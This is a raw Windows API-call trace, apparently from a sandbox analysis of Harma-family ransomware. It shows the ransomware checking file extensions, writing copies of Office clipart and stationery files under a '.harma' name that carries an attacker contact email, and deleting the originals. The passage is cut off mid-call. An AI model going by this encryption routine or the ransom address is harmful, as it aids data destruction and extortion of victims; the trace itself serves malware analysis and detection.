[0134.077] lstrcmpiW (lpString1=".docx", lpString2="r.jpg") returned -1 [0134.077] lstrlenW (lpString=".pdf") returned 4 [0134.077] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0134.077] lstrlenW (lpString=".xls") returned 4 [0134.077] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0134.077] lstrlenW (lpString=".xlsx") returned 5 [0134.077] lstrcmpiW (lpString1=".xlsx", lpString2="r.jpg") returned -1 [0134.077] lstrlenW (lpString=".ppt") returned 4 [0134.077] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0134.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0134.078] lstrlenW (lpString=".zip") returned 4 [0134.078] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0134.078] lstrlenW (lpString=".rar") returned 4 [0134.078] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0134.078] lstrlenW (lpString=".bz2") returned 4 [0134.078] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0134.078] lstrlenW (lpString=".7z") returned 3 [0134.078] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0134.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0134.078] lstrlenW (lpString=".dbf") returned 4 [0134.078] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0134.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0134.078] lstrlenW (lpString=".1cd") returned 4 [0134.078] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0134.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0134.078] lstrlenW (lpString=".jpg") returned 4 [0134.078] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0134.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0134.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0134.078] lstrlenW (lpString=".doc") returned 4 [0134.078] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0134.078] lstrlenW (lpString=".docx") returned 5 [0134.078] lstrcmpiW (lpString1=".docx", lpString2="r.jpg") returned -1 [0134.078] lstrlenW (lpString=".pdf") returned 4 [0134.078] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0134.078] lstrlenW (lpString=".xls") returned 4 [0134.078] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0134.079] lstrlenW (lpString=".xlsx") returned 5 [0134.079] lstrcmpiW (lpString1=".xlsx", lpString2="r.jpg") returned -1 [0134.079] lstrlenW (lpString=".ppt") returned 4 [0134.079] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0134.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0134.079] lstrlenW (lpString=".zip") returned 4 [0134.079] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0134.079] lstrlenW (lpString=".rar") returned 4 [0134.079] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0134.079] lstrlenW (lpString=".bz2") returned 4 [0134.079] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0134.079] lstrlenW (lpString=".7z") returned 3 [0134.079] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0134.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0134.079] lstrlenW (lpString=".dbf") returned 4 [0134.079] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0134.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0134.079] lstrlenW (lpString=".1cd") returned 4 [0134.079] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0134.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0134.079] lstrlenW (lpString=".jpg") returned 4 [0134.079] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0134.079] lstrcmpiW (lpString1=".jpg", lpString2=".harma") returned 1 [0134.079] lstrlenW (lpString="Pretty_Peacock.jpg") returned 18 [0134.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0134.080] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=5115) returned 1 [0134.080] CloseHandle (hObject=0x21c) returned 1 [0134.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg")) returned 0x20 [0134.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0134.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0134.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0134.080] lstrlenW (lpString=".doc") returned 4 [0134.080] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0134.080] lstrlenW (lpString=".docx") returned 5 [0134.080] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0134.080] lstrlenW (lpString=".pdf") returned 4 [0134.080] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0134.080] lstrlenW (lpString=".xls") returned 4 [0134.080] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0134.080] lstrlenW (lpString=".xlsx") returned 5 [0134.080] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0134.080] lstrlenW (lpString=".ppt") returned 4 [0134.080] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0134.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0134.080] lstrlenW (lpString=".zip") returned 4 [0134.080] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0134.081] lstrlenW (lpString=".rar") returned 4 [0134.081] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0134.081] lstrlenW (lpString=".bz2") returned 4 [0134.081] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0134.081] lstrlenW (lpString=".7z") returned 3 [0134.081] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0134.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0134.081] lstrlenW (lpString=".dbf") returned 4 [0134.081] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0136.680] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.680] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0138.748] GetLastError () returned 0x0 [0138.748] ReadFile (in: hFile=0x210, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1b48, lpOverlapped=0x0) returned 1 [0138.768] WriteFile (in: hFile=0x344, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1b50, lpOverlapped=0x0) returned 1 [0138.769] ReadFile (in: hFile=0x210, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0138.769] WriteFile (in: hFile=0x344, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0138.769] SetEndOfFile (hFile=0x344) returned 1 [0138.769] CloseHandle (hObject=0x344) returned 1 [0138.769] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0138.769] SetEndOfFile (hFile=0x210) returned 1 [0138.809] CloseHandle (hObject=0x210) returned 1 [0138.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0138.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0138.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0138.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0138.811] lstrlenW (lpString=".doc") returned 4 [0138.811] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0138.811] lstrlenW (lpString=".docx") returned 5 [0138.811] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0138.811] lstrlenW (lpString=".pdf") returned 4 [0138.811] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0138.811] lstrlenW (lpString=".xls") returned 4 [0138.811] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0138.811] lstrlenW (lpString=".xlsx") returned 5 [0138.811] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0138.811] lstrlenW (lpString=".ppt") returned 4 [0138.811] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0138.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0138.811] lstrlenW (lpString=".zip") returned 4 [0138.811] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0138.811] lstrlenW (lpString=".rar") returned 4 [0138.811] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0138.811] lstrlenW (lpString=".bz2") returned 4 [0138.811] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0138.811] lstrlenW (lpString=".7z") returned 3 [0138.811] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0138.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0138.811] lstrlenW (lpString=".dbf") returned 4 [0138.811] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0138.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0138.812] lstrlenW (lpString=".1cd") returned 4 [0138.812] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0138.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0138.812] lstrlenW (lpString=".jpg") returned 4 [0138.812] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0138.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0138.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0138.812] lstrlenW (lpString=".doc") returned 4 [0138.812] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0138.812] lstrlenW (lpString=".docx") returned 5 [0138.812] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0138.812] lstrlenW (lpString=".pdf") returned 4 [0138.812] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0138.812] lstrlenW (lpString=".xls") returned 4 [0138.812] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0138.812] lstrlenW (lpString=".xlsx") returned 5 [0138.812] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0138.812] lstrlenW (lpString=".ppt") returned 4 [0138.812] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0138.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0138.812] lstrlenW (lpString=".zip") returned 4 [0138.812] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0138.812] lstrlenW (lpString=".rar") returned 4 [0138.812] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0138.812] lstrlenW (lpString=".bz2") returned 4 [0138.812] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0138.812] lstrlenW (lpString=".7z") returned 3 [0138.812] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0138.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0138.812] lstrlenW (lpString=".dbf") returned 4 [0138.812] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0138.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0138.813] lstrlenW (lpString=".1cd") returned 4 [0138.813] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0138.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0138.813] lstrlenW (lpString=".jpg") returned 4 [0138.813] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0138.813] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0138.813] lstrlenW (lpString="AN01184_.WMF") returned 12 [0138.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0138.813] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3746) returned 1 [0138.813] CloseHandle (hObject=0x210) returned 1 [0138.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 0x20 [0138.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0138.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0138.814] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0138.815] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0138.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0138.815] GetLastError () returned 0x0 [0138.815] ReadFile (in: hFile=0x210, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xea2, lpOverlapped=0x0) returned 1 [0138.832] WriteFile (in: hFile=0x214, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xeb0, lpOverlapped=0x0) returned 1 [0138.833] ReadFile (in: hFile=0x210, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0138.833] WriteFile (in: hFile=0x214, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0138.968] SetEndOfFile (hFile=0x214) returned 1 [0138.968] CloseHandle (hObject=0x214) returned 1 [0138.969] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0138.969] SetEndOfFile (hFile=0x210) returned 1 [0138.971] CloseHandle (hObject=0x210) returned 1 [0138.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0139.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0139.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0139.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0139.309] lstrlenW (lpString=".doc") returned 4 [0139.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.309] lstrlenW (lpString=".docx") returned 5 [0139.309] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.309] lstrlenW (lpString=".pdf") returned 4 [0139.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.309] lstrlenW (lpString=".xls") returned 4 [0139.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.309] lstrlenW (lpString=".xlsx") returned 5 [0139.309] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.309] lstrlenW (lpString=".ppt") returned 4 [0139.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0139.310] lstrlenW (lpString=".zip") returned 4 [0139.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.310] lstrlenW (lpString=".rar") returned 4 [0139.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.310] lstrlenW (lpString=".bz2") returned 4 [0139.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.310] lstrlenW (lpString=".7z") returned 3 [0139.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0139.310] lstrlenW (lpString=".dbf") returned 4 [0139.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0139.310] lstrlenW (lpString=".1cd") returned 4 [0139.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0139.310] lstrlenW (lpString=".jpg") returned 4 [0139.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0139.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0139.310] lstrlenW (lpString=".doc") returned 4 [0139.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.310] lstrlenW (lpString=".docx") returned 5 [0139.310] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.310] lstrlenW (lpString=".pdf") returned 4 [0139.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.310] lstrlenW (lpString=".xls") returned 4 [0139.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.310] lstrlenW (lpString=".xlsx") returned 5 [0139.310] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.310] lstrlenW (lpString=".ppt") returned 4 [0139.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0139.311] lstrlenW (lpString=".zip") returned 4 [0139.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.311] lstrlenW (lpString=".rar") returned 4 [0139.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.311] lstrlenW (lpString=".bz2") returned 4 [0139.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.311] lstrlenW (lpString=".7z") returned 3 [0139.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0139.311] lstrlenW (lpString=".dbf") returned 4 [0139.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0139.311] lstrlenW (lpString=".1cd") returned 4 [0139.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0139.311] lstrlenW (lpString=".jpg") returned 4 [0139.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.311] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0139.311] lstrlenW (lpString="AN01251_.WMF") returned 12 [0139.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0139.312] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2756) returned 1 [0139.312] CloseHandle (hObject=0x350) returned 1 [0139.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 0x20 [0139.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0139.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0139.313] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.313] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0139.313] GetLastError () returned 0x0 [0139.313] ReadFile (in: hFile=0x350, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xac4, lpOverlapped=0x0) returned 1 [0139.344] WriteFile (in: hFile=0x344, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xad0, lpOverlapped=0x0) returned 1 [0139.345] ReadFile (in: hFile=0x350, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.345] WriteFile (in: hFile=0x344, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.345] SetEndOfFile (hFile=0x344) returned 1 [0139.353] CloseHandle (hObject=0x344) returned 1 [0139.358] SetFilePointerEx (in: hFile=0x350, 